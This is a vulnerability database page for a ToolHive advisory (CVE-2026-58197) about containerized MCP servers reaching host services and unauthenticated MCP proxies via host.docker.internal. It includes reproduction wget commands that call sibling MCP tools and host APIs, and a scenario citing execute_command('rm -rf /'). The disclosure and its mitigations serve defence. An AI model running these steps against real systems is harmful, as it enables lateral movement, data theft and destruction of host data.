Vulnerability-Lookup

CVE-2026-58197 (GCVE-0-2026-58197)

Vulnerability from cvelistv5 – Published: 2026-09-18 16:34 – Updated: 2026-09-18 16:51

Title

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

Summary

ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-18 16:50 UTC

CWE

CWE-284 - Improper Access Control
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/stacklok/toolhive/security/adv…	x_refsource_CONFIRM
https://github.com/stacklok/toolhive-studio/pull/2469	x_refsource_MISC
https://github.com/stacklok/toolhive/pull/5583	x_refsource_MISC
https://github.com/stacklok/toolhive-studio/commi…	x_refsource_MISC
https://github.com/stacklok/toolhive/commit/d8f40…	x_refsource_MISC
https://github.com/stacklok/toolhive-studio/relea…	x_refsource_MISC
https://github.com/stacklok/toolhive/releases/tag…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
stacklok	toolhive	Affected: < 0.30.1	guessed
stacklok	toolhive-studio	Affected: < 0.38.0	guessed

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GHSA-QG2G-G9W3-M5H8

Vulnerability from github – Published: 2026-09-18 17:16 – Updated: 2026-09-18 17:16

Summary

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

Details

Summary

A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

Severity

High — This bypasses the container isolation model that is ToolHive's core security value proposition.

Reproduction

All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.

1. Container can reach the ToolHive control plane MCP endpoint

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

Result: Full MCP handshake succeeds:

{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}

2. Container can connect to another MCP server's proxy and call its tools

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}

3. Container can reach other host services

# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

Port-scan host.docker.internal to discover listening services
Attempt MCP handshakes on discovered ports
Call privileged tools (e.g., execute_command("rm -rf /") or write_file("/etc/crontab", "..."))

This achieves full host compromise without any container escape vulnerability.

Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

List and stop other running MCP servers (denial of service)
Start new MCP servers with attacker-controlled images
Modify configurations

Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.

Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

Root Causes

insecure_allow_all: true as default — permits outbound connections to any destination including host.docker.internal
No authentication on ToolHive API / MCP proxies — any client that can reach the port can interact fully
Docker's host.docker.internal DNS — resolves to the host machine, bypassing localhost-only binding assumptions

Suggested Mitigations

Short-term

Block host.docker.internal and 172.17.0.1 (Docker gateway) in container networking by default, even when insecure_allow_all is enabled. These should require explicit opt-in.
Add authentication to MCP proxy endpoints — even a shared secret or token per session would prevent cross-container lateral movement.

Medium-term

Network policy per container — ToolHive already has the permission_profile infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.
Isolate container networks — run each MCP server in its own Docker network with no access to the Docker bridge gateway.

Long-term

Mutual TLS or token-based auth between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.
Audit logging — log all MCP tool calls with source identification so lateral movement attempts are visible.

Environment

ToolHive v0.9.3 (macOS desktop app, Docker runtime)
Docker Desktop for Mac (host.docker.internal enabled by default)
Tested with docker.io/mcp/filesystem:latest

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stacklok/toolhive"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:16:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host\u0027s localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.\n\n## Severity\n\n**High** \u2014 This bypasses the container isolation model that is ToolHive\u0027s core security value proposition.\n\n## Reproduction\n\nAll tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`.\n\n### 1. Container can reach the ToolHive control plane MCP endpoint\n\n```bash\n$ docker exec \u003ccontainer_id\u003e wget -qO- \\\n  --header=\"Content-Type: application/json\" \\\n  --header=\"Accept: application/json\" \\\n  --post-data=\u0027{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{},\"clientInfo\":{\"name\":\"evil-mcp\",\"version\":\"1.0\"}},\"id\":1}\u0027 \\\n  http://host.docker.internal:50444/mcp\n```\n\n**Result:** Full MCP handshake succeeds:\n```json\n{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{\"logging\":{},\"tools\":{}},\"serverInfo\":{\"name\":\"toolhive-mcp\",\"version\":\"v0.9.3\"}}}\n```\n\n### 2. Container can connect to another MCP server\u0027s proxy and call its tools\n\n```bash\n$ docker exec \u003ccontainer_id\u003e wget -qO- \\\n  --header=\"Content-Type: application/json\" \\\n  --header=\"Accept: application/json\" \\\n  --post-data=\u0027{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"params\":{},\"id\":2}\u0027 \\\n  http://host.docker.internal:64965/mcp\n```\n\n**Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:\n\n```json\n{\"jsonrpc\":\"2.0\",\"id\":3,\"result\":{\"content\":[{\"text\":\"Allowed directories:\\n/tmp\",\"type\":\"text\"}]}}\n```\n\n### 3. Container can reach other host services\n\n```bash\n# Kubernetes API\n$ docker exec \u003ccontainer_id\u003e wget -qO- --no-check-certificate https://host.docker.internal:6443/version\n{\"major\":\"1\",\"minor\":\"34\",\"gitVersion\":\"v1.34.1\"...}\n\n# Ollama LLM API\n$ docker exec \u003ccontainer_id\u003e wget -qO- http://host.docker.internal:11434/api/tags\n{\"models\":[{\"name\":\"kimi-k2:1t-cloud\"...}]}\n```\n\n## Attack Scenarios\n\n### Scenario 1: Malicious MCP server pivots to privileged native MCP tools\n\nMany users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:\n\n1. Port-scan `host.docker.internal` to discover listening services\n2. Attempt MCP handshakes on discovered ports\n3. Call privileged tools (e.g., `execute_command(\"rm -rf /\")` or `write_file(\"/etc/crontab\", \"...\")`)\n\nThis achieves **full host compromise without any container escape vulnerability**.\n\n### Scenario 2: Compromised MCP server manipulates ToolHive itself\n\nVia the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:\n\n- List and stop other running MCP servers (denial of service)\n- Start new MCP servers with attacker-controlled images\n- Modify configurations\n\n### Scenario 3: Data exfiltration via cross-MCP-server access\n\nA low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server\u0027s proxy and call `read_file` to access files it was never authorized to see.\n\n### Scenario 4: LLM model theft / abuse\n\nAs demonstrated, the container can reach Ollama\u0027s API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.\n\n## Root Causes\n\n1. **`insecure_allow_all: true` as default** \u2014 permits outbound connections to any destination including `host.docker.internal`\n2. **No authentication on ToolHive API / MCP proxies** \u2014 any client that can reach the port can interact fully\n3. **Docker\u0027s `host.docker.internal` DNS** \u2014 resolves to the host machine, bypassing localhost-only binding assumptions\n\n## Suggested Mitigations\n\n### Short-term\n\n- **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in.\n- **Add authentication to MCP proxy endpoints** \u2014 even a shared secret or token per session would prevent cross-container lateral movement.\n\n### Medium-term\n\n- **Network policy per container** \u2014 ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.\n- **Isolate container networks** \u2014 run each MCP server in its own Docker network with no access to the Docker bridge gateway.\n\n### Long-term\n\n- **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.\n- **Audit logging** \u2014 log all MCP tool calls with source identification so lateral movement attempts are visible.\n\n## Environment\n\n- ToolHive v0.9.3 (macOS desktop app, Docker runtime)\n- Docker Desktop for Mac (host.docker.internal enabled by default)\n- Tested with `docker.io/mcp/filesystem:latest`",
  "id": "GHSA-qg2g-g9w3-m5h8",
  "modified": "2026-09-18T17:16:02Z",
  "published": "2026-09-18T17:16:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/security/advisories/GHSA-qg2g-g9w3-m5h8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive-studio/pull/2469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/pull/5583"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/commit/d8f40cb1599b8bf66657f2dfff15bfbfc236e712"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stacklok/toolhive"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive-studio/releases/tag/v0.38.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/releases/tag/v0.30.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-58197 (GCVE-0-2026-58197)

GHSA-QG2G-G9W3-M5H8

Summary

Severity

Reproduction

1. Container can reach the ToolHive control plane MCP endpoint

2. Container can connect to another MCP server's proxy and call its tools

3. Container can reach other host services

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Scenario 2: Compromised MCP server manipulates ToolHive itself

Scenario 3: Data exfiltration via cross-MCP-server access

Scenario 4: LLM model theft / abuse

Root Causes

Suggested Mitigations

Short-term

Medium-term

Long-term

Environment

Tags

Sightings

Nomenclature

Related by attack behaviour